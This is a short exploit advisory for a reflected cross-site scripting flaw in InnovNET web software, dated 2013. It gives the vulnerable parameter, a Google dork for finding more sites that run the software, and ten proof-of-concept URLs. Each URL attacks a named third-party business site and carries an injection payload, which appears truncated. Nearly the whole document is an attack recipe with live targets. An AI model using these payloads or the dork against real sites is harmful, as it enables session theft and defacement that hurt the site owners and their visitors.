#******************************************************************************** # Exploit Title : InnovNET Cross site scripting vulnerability # # Software link : http://www.innovnet.fr # # Exploit Author : Ashiyane Digital Security Team # # Tested on: Windows 7 , Linux # # Google Dork : intext:"Powered by InnovNET" # # Date: 2013/08/30 # -------------------------------------------------------------------- # 1- Location : [Target]/cgi/Ermes.dll?A=&APP=[xss] # # # Proof: # # http://www.beugnet.com/cgi/Ermes.dll?A=&APP="/> # # http://www.cityboxe.fr/cgi/Ermes.dll?A=&APP="/> # # http://www.ruissol.pro/cgi/Ermes.dll?A=&APP="/> # # http://www.igtools.fr/cgi/Ermes.dll?A=&APP="/> # # http://www.kartix-parc.com/cgi/Ermes.dll?A=&APP= "/> # # http://www.lagendaducoin.fr/cgi/Ermes.dll?A=&APP= "/> # # http://www.geonord.fr/cgi/Ermes.dll?A=&APP="/> # # http://www.innovgestion.fr/cgi/Ermes.dll?A=&APP= "/> # # http://www.ermes.pro/cgi/Ermes.dll?A=&APP="/> # # http://www.primavera-feci.fr/cgi/Ermes.dll?A=&APP= "/> # # ###################### discovered by : ACC3SS ######################